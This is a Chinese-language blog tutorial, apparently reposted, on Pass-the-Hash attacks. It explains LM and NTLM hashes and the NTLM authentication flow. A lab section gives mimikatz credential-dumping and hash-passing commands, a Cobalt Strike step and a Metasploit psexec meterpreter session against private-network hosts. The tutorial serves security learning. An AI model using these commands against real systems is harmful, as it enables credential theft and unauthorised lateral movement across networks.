哈希传递(Pass the Hash)
2023-6-2 16:28:29 Author: 瑞不可当(查看原文) 阅读量:8 收藏

1.概念

1.1 什么是哈希传递攻击

哈希传递(Pass the hash,pth) 是一种攻击技术,常用于绕过基于口令的认证系统。该攻击技术中,攻击者利用恶意软件等手段获取到目标计算机系统的哈希值,并将其从一个系统传递到另一个系统,以此来横向访问其他网络系统获得对系统的远程访问权限。此时,攻击者可以使用这个哈希值来代替用户的口令进行认证并登录目标系统,从而不需要知道用户的原始密码即可获取访问权限。攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

“Pass the hash” 漏洞是由于Windows操作系统在验证用户密码时使用了NTLM(NT LAN Manager)哈希算法,但NTLM被认为是不安全的,并容易被绕过。因此,Microsoft已经推出了更加安全的Kerberos协议和NTLMv2哈希算法来代替NTLM。

1.2 Hash的概念

LM hash和NTLM hash都是Windows操作系统中用于存储用户口令的哈希算法。

LM(LAN Manager)Hash算法是 Windows 早期版本使用的口令存储算法。该算法在将用户输入的明文密码转化为大写后,将其填充为14个字符长度,并分成两个7字节长的部分,再经过DES加密和一系列计算后得到56位密文。由于该算法在安全性方面存在缺陷,容易被攻击者通过彩虹表等方式破解出原始密码,因此Microsoft已经废除使用LM hash算法的功能,不推荐使用。

NTLM的加密强度强于LM Hash,它通过挑战-响应认证机制,实现加密传输用户口令,采用多重哈希、随机数、时间戳等技术对用户口令进行保护,提高了账户的安全性。NTLM Hash算法使用单向哈希函数,将用户口令从明文形式转换为一个固定长度的密文串,该密文串也称为NTLM hash值,然后存储在本地计算机或域控制器上。当用户登录时,计算机会以这个hash值与请输入的口令进行比对验证其正确性。如果提交的口令与计算机中存储的NTLM hash值匹配,则可以登录系统。

2.NTLM协议认证

NTLM协议是一种网络认证协议,采用一种质询/应答(Challenge/Response)信息交换模式。

2.1 工作组环境认证

协商:这个过程是客户端向服务器发送(协商)消息,它主要包含客户端支持和服务器请求的功能列表。

质询(Chalenge/Response)与验证:

  • 客户端向服务器端发送用户信息(用户名)请求

  • 服务器接受到请求,生成一个16位的随机数(每次都不一样),被称之为“Challenge”,使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符),生成Challenge1。同时生成Challenge1后,将Challenge(16位随机字符)发送给客户端。

  • 客户端接收到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response(Net-NTLM Hash),然后将Response(Net-NTLM Hash)发送至服务器端。

  • 验证是服务器端收到客户端的Response(Net-NTLM Hash)后,比对Chanllenge1与Response(Net-NTLMHash)是否相等,若相等,则认证通过。

2.2 域环境认证

当使用域帐户进行身份验证时,用户的NTLM Hash不再存储在服务器上,而是存储在域控制器上。所以整个认证的过程需要与域控制器进行交互。
协商:这个过程是客户端向服务器发送(协商)消息,它主要包含客户端支持和服务器请求的功能列表。

质询Chalenge/Response与验证:

  • 客户端向服务器端发送用户信息(用户名)请求;

  • 服务器接受到请求,生成一个16位的随机数(每次都不一样),被称之为“Challenge”, 将Challenge(16位随机字符)发送给客户端;

  • 客户端接收到Challenge后,使用将要登录到账户对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端;

  • 服务端向域控(DC)发送用户名、返回给客户端的Challenge、客户端发来的Response;

  • 域控(DC)用本地数据库(NTDS.dit)里的请求验证的用户名对应的NTLM Hash加密Challenge,将结果与Response比对,然后将验证结果返回给服务端;

  • 服务端再将结果消息返回给客户端。

3.Pass the Hash(pth)在工作组与域的区别
工作组环境:
1. Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
2. Windows Vista 之后的机器,只能是 Administrator (SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,否则会提示拒绝访问。

域环境:

1. 只有域管理员组内用户(可以非Administrator用户)的hash值-   才能进行哈希传递攻击,攻击成功后,可以访问域环境内任何一台机器。
2. SID 为 500 的账号登录之后以完全管理特权(“完全令牌模式”)运行所有应用程序,管理员组的非 SID 500 账户登录之后是没有过 UAC 的,所有特权都被移除。在一些计算机中,SID为500的账号即使将默认 Administrator 账号改名,也不会影响SID的值。

4.PTH利用实践(域环境)

win7web服务器 win7有内外网两个ip 192.168.245.166 192.168.52.143win2k3为域成员 一个内网ip 192.168.52.141win2008为域控  一个内网ip 192.168.52.138kali 192.168.245.165

4.1 获取Hash

(1) Cobalt Strike

win7在Cobalt strike上线后,可以直接获取hash:logonpasswords

(2) mimikatz直接导出凭证
privilege::debuglogsekurlsa::logonpasswords

4.2哈希传递实践

(1) 利用mimikatz哈希传递:

sekurlsa:pth /user:administrator /domain:GOD /ntlm:获取的NTLM hash
攻击成功后,会弹出一个cmd.exe

(2) msf 进行哈希传递

msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcppayload => windows/meterpreter/bind_tcpmsf6 exploit(windows/smb/psexec) > set lhost 192.168.245.165lhost => 192.168.245.165msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.138rhost => 192.168.52.138msf6 exploit(windows/smb/psexec) > set smbuser Administratorsmbuser => Administratormsf6 exploit(windows/smb/psexec) > set smbpass LM:NTLMsmbpass => msf6 exploit(windows/smb/psexec) > run

图片中可以看到,利用MSF进行哈希传递但是"no session was created",利用失败。
(3) CS哈希传递攻击利用


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzODI1NjMyNQ==&mid=2247484388&idx=1&sn=a822edfd0536daa0f2210f818f819464&chksm=c283b14ef5f4385842747b29211d6130f73ef0d287646e0ed13086ac025cd5fe5e5f4e5fe4b6#rd
如有侵权请联系:admin#unsafe.sh